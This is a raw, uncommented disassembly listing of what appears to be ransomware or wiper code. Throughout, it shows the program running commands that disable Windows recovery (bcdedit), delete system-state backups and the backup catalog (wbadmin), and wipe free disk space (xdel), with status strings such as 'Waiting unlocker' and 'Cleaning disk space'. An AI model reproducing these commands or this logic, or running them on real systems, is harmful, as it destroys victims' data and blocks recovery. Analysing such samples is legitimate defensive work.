push 0x2710
push 0
xor edx, edx
mov ecx, str.bcdedit.exe__set_default_recoveryenabled_no
call fcn.0046ec60
push 0x2710
push 0
xor edx, edx
mov ecx, str.wbadmin.exe_DELETE_SYSTEMSTATEBACKUP
call fcn.0046ec60
push 0x2710
push 0
xor edx, edx
mov ecx, str.wbadmin.exe_delete_catalog__quiet
call fcn.0046ec60
add esp, 0x20
cmp byte [0x5f29f3], 0
je 0x4669a5
cmp byte [0x5f29f2], 0
je 0x4669a5
push str.___Everything_Setup...
call fcn.00463ab0
lea eax, [ebp - 0x334]
mov dl, 1
push eax
mov cl, dl
call fcn.00474680
mov edx, dword [ebp - 0x334]
add esp, 8
call fcn.004756b0
neg al
sbb al, al
and byte [0x5f29f2], al
push str.___Waiting_unlocker...
call fcn.00463ab0
mov eax, dword [ebp - 0x338]
add esp, 4
test eax, eax
je 0x4669c9
push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x50]
test eax, eax
je 0x4669dd
push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0x18], eax
push 0x15f90
push 1
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov byte [0x5f27d1], 1
call fcn.00467700
push str.___Commands...
call fcn.00463ab0
add esp, 4
push 0x5f30ec
call fcn.00467b20
push 0
push 0
push 0
push 0x46f710
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x466a31
push 0xffffffffffffffff
push eax
call esi
cmp byte [0x5f30a1], 0
je 0x466a46
push dword [ebp - 0x104]
call dword [sym.imp.KERNEL32.dll_Wow64RevertWow64FsRedirection]
push str.___Cleaning_disk_space...
call fcn.00463ab0
add esp, 4
call fcn.00475d40
call fcn.00476070
mov cl, byte [0x5f27b6]
call fcn.00460150
cmp byte [0x5f27b6], 0
je 0x466a76
call fcn.00463d30
push 0x5d9f40
lea ecx, [ebp - 0xf8]
call fcn.00449590
push 0x5f2a08
lea ecx, [ebp - 0xf8]
mov byte [ebp - 4], 0x47
call fcn.00452d40
push str.xdel.exe___accepteula__p_1__c
lea ecx, [ebp - 0xf8]
call fcn.00452d40
push ecx
lea ecx, [ebp - 0x58]
call fcn.0045ab10
call fcn.0045bbe0
push 1
xor dl, dl
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x58]
call fcn.0045ad20
add esp, 4
cmp byte [0x5f27c1], 0
jne 0x466b2e
mov edi, dword [ebp - 0x58]
mov esi, dword [edi]
cmp esi, edi
je 0x466c2e
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0044c140
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x4c]
push dword [esi + 8]
call fcn.00452d70
push 0xffffffffffffffff
push 1
lea ecx, [ebp - 0x4c]
call fcn.004494e0
xor edx, edx
mov ecx, eax
call fcn.0046ec60
add esp, 8
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x4c]
call fcn.004494f0
mov esi, dword [esi]
cmp esi, edi
jne 0x466ae1
jmp 0x466c2e
push ecx
lea ecx, [ebp - 0x28]
call fcn.00466ee0
xor eax, eax
xor edi, edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4a
mov ecx, dword [ebp - 0x58]
mov esi, dword [ecx]
cmp esi, ecx
je 0x466be9
nop word [eax + eax]
lea eax, [ebp - 0xf8]
push eax
lea ecx, [ebp - 0xb4]
call fcn.0044c140
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0xb4]
push dword [esi + 8]
call fcn.00452d70
push 0x2710
push 0
lea ecx, [ebp - 0xb4]
call fcn.004494e0
xor edx, edx
mov ecx, eax
call fcn.0046ec60
add esp, 8
test eax, eax
je 0x466bcc
push eax
push 0
push 0x100000
call ebx
mov dword [ebp - 0xfc], eax
test eax, eax
je 0x466bcc
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0x28]
call fcn.00467af0
mov edi, dword [ebp - 0x28]
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x4a
call fcn.004494f0
mov esi, dword [esi]
cmp esi, dword [ebp - 0x58]
jne 0x466b60
mov eax, dword [ebp - 0x24]
mov esi, eax
push 0xffffffffffffffff
sub esi, edi
push 1
mov eax, esi
sar eax, 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
add esi, 3
xor eax, eax
shr esi, 2
xor ebx, ebx
cmp edi, dword [ebp - 0x24]
cmova esi, eax
test esi, esi
je 0x466c22
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
lea edi, [edi + 4]
cmp ebx, esi
jne 0x466c12
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x48
call fcn.00459080
call fcn.00467a20
lea ecx, [ebp - 0x58]
call fcn.0045bb90
lea ecx, [ebp - 0xf8]
call fcn.004494f0
jmp 0x46689c
call fcn.0054b071
call fcn.0054b071
call fcn.0054b071
call fcn.0054b071
call fcn.0054b071
call fcn.0054b071
call fcn.0054b071
int3